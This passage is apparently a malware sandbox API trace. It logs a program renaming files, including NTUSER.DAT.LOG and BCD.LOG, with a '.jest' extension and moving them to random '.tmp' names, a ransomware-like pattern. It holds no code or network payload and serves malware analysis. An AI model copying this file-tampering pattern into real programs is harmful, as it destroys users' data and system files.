Shared\\Stationery\\Notebook.jpg.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.jest")) returned 0 [0145.553] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpFilePart=0x18e6d8*="Notebook.jpg") returned 0x46 [0145.553] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x57, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 0x143ce48 [0145.554] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55e4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.554] VarBstrFromR4 (in: fltIn=0x47944da8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.31") returned 0x0 [0145.554] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.554] CoFreeUnusedLibraries () [0145.554] GetTickCount () returned 0x1156355 [0145.554] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.554] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.554] GetTickCount () returned 0x1156355 [0145.555] IsWindowVisible (hWnd=0x30268) returned 0 [0145.555] Sleep (dwMilliseconds=0x0) [0145.555] GetFullPathNameA (in: lpFileName="SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", lpFilePart=0x18e708*="SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp") returned 0x8f [0145.555] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpFilePart=0x18e708*="Notebook.jpg") returned 0x46 [0145.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scqw40uep_btbyjg67mszyw0iitzxvkk vouz4ec 80atwufc4kgbxouw0srophuglq8zyevyolvf3yxlt44s0ylegvrhwb7bpnua.tmp")) returned 0 [0145.555] GetLastError () returned 0x5 [0145.555] GetLastError () returned 0x5 [0145.555] SetLastError (dwErrCode=0x5) [0145.555] GetLastError () returned 0x5 [0145.555] SetLastError (dwErrCode=0x5) [0145.555] GetLastError () returned 0x5 [0145.555] SetLastError (dwErrCode=0x5) [0145.556] GetFullPathNameA (in: lpFileName="SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", lpFilePart=0x18e6e4*="SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp") returned 0x8f [0145.556] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCqw40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77714353, cFileName="40uEp_BTByJG67MszyW0IItzXvKk vouz4eC 80aTWufc4kgbXOUw0sROphuGlq8zyEVyoLVF3YxLT44s0yLEgVrHwb7bpNUa.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.556] GetLastError () returned 0x2 [0145.556] GetLastError () returned 0x2 [0145.556] SetLastError (dwErrCode=0x2) [0145.582] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.583] CoFreeUnusedLibraries () [0145.583] GetTickCount () returned 0x1156375 [0145.583] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.583] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.583] GetTickCount () returned 0x1156375 [0145.583] IsWindowVisible (hWnd=0x30268) returned 0 [0145.583] Sleep (dwMilliseconds=0x0) [0145.634] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.634] CoFreeUnusedLibraries () [0145.634] GetTickCount () returned 0x11563a3 [0145.634] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.634] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.634] GetTickCount () returned 0x11563a3 [0145.634] IsWindowVisible (hWnd=0x30268) returned 0 [0145.634] Sleep (dwMilliseconds=0x0) [0145.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0145.720] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0145.720] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.720] CoFreeUnusedLibraries () [0145.720] GetTickCount () returned 0x1156401 [0145.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.720] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.720] GetTickCount () returned 0x1156401 [0145.720] IsWindowVisible (hWnd=0x30268) returned 0 [0145.721] Sleep (dwMilliseconds=0x0) [0145.748] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0145.779] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.779] CoFreeUnusedLibraries () [0145.779] GetTickCount () returned 0x115643f [0145.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.779] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.779] GetTickCount () returned 0x115643f [0145.779] IsWindowVisible (hWnd=0x30268) returned 0 [0145.779] Sleep (dwMilliseconds=0x0) [0145.830] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.830] CoFreeUnusedLibraries () [0145.830] GetTickCount () returned 0x115646e [0145.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.830] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.830] GetTickCount () returned 0x115646e [0145.830] IsWindowVisible (hWnd=0x30268) returned 0 [0145.830] Sleep (dwMilliseconds=0x0) [0145.880] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.880] CoFreeUnusedLibraries () [0145.880] GetTickCount () returned 0x115649d [0145.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.880] GetTickCount () returned 0x115649d [0145.880] IsWindowVisible (hWnd=0x30268) returned 0 [0145.880] Sleep (dwMilliseconds=0x0) [0145.930] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.930] CoFreeUnusedLibraries () [0145.930] GetTickCount () returned 0x11564cc [0145.930] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.930] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.930] GetTickCount () returned 0x11564cc [0145.930] IsWindowVisible (hWnd=0x30268) returned 0 [0145.930] Sleep (dwMilliseconds=0x0) [0145.979] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.979] CoFreeUnusedLibraries () [0145.979] GetTickCount () returned 0x115650a [0145.980] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.980] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.980] GetTickCount () returned 0x115650a [0145.980] IsWindowVisible (hWnd=0x30268) returned 0 [0145.980] Sleep (dwMilliseconds=0x0) [0146.035] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.035] CoFreeUnusedLibraries () [0146.035] GetTickCount () returned 0x1156539 [0146.035] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.035] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.035] GetTickCount () returned 0x1156539 [0146.035] IsWindowVisible (hWnd=0x30268) returned 0 [0146.035] Sleep (dwMilliseconds=0x0) [0146.084] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.084] CoFreeUnusedLibraries () [0146.084] GetTickCount () returned 0x1156568 [0146.084] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.084] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.084] GetTickCount () returned 0x1156568 [0146.084] IsWindowVisible (hWnd=0x30268) returned 0 [0146.084] Sleep (dwMilliseconds=0x0) [0146.165] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.165] CoFreeUnusedLibraries () [0146.166] GetTickCount () returned 0x11565c5 [0146.166] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.166] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.166] GetTickCount () returned 0x11565c5 [0146.166] IsWindowVisible (hWnd=0x30268) returned 0 [0146.166] Sleep (dwMilliseconds=0x0) [0146.258] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.258] CoFreeUnusedLibraries () [0146.259] GetTickCount () returned 0x1156623 [0146.259] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.259] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.259] GetTickCount () returned 0x1156623 [0146.259] IsWindowVisible (hWnd=0x30268) returned 0 [0146.259] Sleep (dwMilliseconds=0x0) [0146.360] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.360] CoFreeUnusedLibraries () [0146.360] GetTickCount () returned 0x1156681 [0146.360] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.360] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.360] GetTickCount () returned 0x1156681 [0146.360] IsWindowVisible (hWnd=0x30268) returned 0 [0146.360] Sleep (dwMilliseconds=0x0) [0146.455] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.455] CoFreeUnusedLibraries () [0146.455] GetTickCount () returned 0x11566de [0146.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.455] GetTickCount () returned 0x11566de [0146.455] IsWindowVisible (hWnd=0x30268) returned 0 [0146.455] Sleep (dwMilliseconds=0x0) [0146.509] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.510] CoFreeUnusedLibraries () [0146.510] GetTickCount () returned 0x115671d [0146.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.510] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.510] GetTickCount () returned 0x115671d [0146.510] IsWindowVisible (hWnd=0x30268) returned 0 [0146.510] Sleep (dwMilliseconds=0x0) [0146.561] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.561] CoFreeUnusedLibraries () [0146.561] GetTickCount () returned 0x115674b [0146.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.562] GetTickCount () returned 0x115674b [0146.562] IsWindowVisible (hWnd=0x30268) returned 0 [0146.562] Sleep (dwMilliseconds=0x0) [0146.612] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.612] CoFreeUnusedLibraries () [0146.612] GetTickCount () returned 0x115677a [0146.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.612] GetTickCount () returned 0x115677a [0146.612] IsWindowVisible (hWnd=0x30268) returned 0 [0146.612] Sleep (dwMilliseconds=0x0) [0146.616] MoveFileA (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG.jest" (normalized: "c:\\users\\default\\ntuser.dat.log.jest")) returned 1 [0146.621] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT.LOG", lpFilePart=0x18e6d8*="NTUSER.DAT.LOG") returned 0x1f [0146.621] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0146.621] GetLastError () returned 0x2 [0146.622] VarBstrFromR4 (in: fltIn=0x47944e32, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.39") returned 0x0 [0146.623] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.623] CoFreeUnusedLibraries () [0146.623] GetTickCount () returned 0x115678a [0146.623] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.623] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.623] GetTickCount () returned 0x115678a [0146.623] IsWindowVisible (hWnd=0x30268) returned 0 [0146.623] Sleep (dwMilliseconds=0x0) [0146.624] GetFullPathNameA (in: lpFileName="_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", lpFilePart=0x18e708*="_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp") returned 0x8f [0146.624] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT.LOG", lpFilePart=0x18e708*="NTUSER.DAT.LOG") returned 0x1f [0146.625] MoveFileA (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_qjv8g4vzdrzbdkb0-i xbeq9j7r3uvoe-urbdm6yh783duzc58jwpvtvgsty10kcvxkdeiftryphp3gfq64kl8ucyalekhj4hnx3.tmp")) returned 0 [0146.625] GetLastError () returned 0x2 [0146.625] GetLastError () returned 0x2 [0146.625] SetLastError (dwErrCode=0x2) [0146.625] GetLastError () returned 0x2 [0146.625] SetLastError (dwErrCode=0x2) [0146.625] GetLastError () returned 0x2 [0146.625] SetLastError (dwErrCode=0x2) [0146.625] GetFullPathNameA (in: lpFileName="_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", lpFilePart=0x18e6e4*="_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp") returned 0x8f [0146.625] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_qJv8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x764a715f, cFileName="8g4Vzdrzbdkb0-I XBEq9j7r3UvOE-uRBdM6yh783dUzc58jwPvtvgSTy10KcvXkDEiFTRYpHp3gFq64KL8ucyAlekhj4HNX3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0146.626] GetLastError () returned 0x2 [0146.626] GetLastError () returned 0x2 [0146.626] SetLastError (dwErrCode=0x2) [0146.681] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0146.681] CoFreeUnusedLibraries () [0146.681] GetTickCount () returned 0x11567c8 [0146.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.681] GetTickCount () returned 0x11567c8 [0146.681] IsWindowVisible (hWnd=0x30268) returned 0 [0146.681] Sleep (dwMilliseconds=0x0) [0146.690] MoveFileA (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Boot\\BCD.LOG.jest" (normalized: "c:\\boot\\bcd.log.jest")) returned 0 [0146.690] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x18e6d8*="BCD.LOG") returned 0xf [0146.690] FindFirstFileA (in: lpFileName="C:\\Boot\\BCD.LOG", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x57, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 0x143ce48 [0146.691] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0146.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0146.693] VarBstrFromR4 (in: fltIn=0x47944e3a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75932.45") returned 0x0 [0146.697] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0146.697] CoFreeUnusedLibraries () [0146.697] GetTickCount () returned 0x11567d8 [0146.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0146.697] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0146.697] GetTickCount () returned 0x11567d8 [0146.697] IsWindowVisible (hWnd=0x30268) returned 0 [0146.697] Sleep (dwMilliseconds=0x0) [0146.697] GetFullPathNameA (in: lpFileName="G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp", lpFilePart=0x18e708*="G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp") returned 0x8c [0146.698] GetFullPathNameA (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x18e708*="BCD.LOG") returned 0xf [0146.698] MoveFileA (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G DynoFV1l7 v9 UvqA3DwETr46aLc o_HSl_UgQ2fT9OARti-Hr--n_kso8QMSPz1qI8C62BX2jUeL4m7QcUdscRmYlDo3Hgf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g 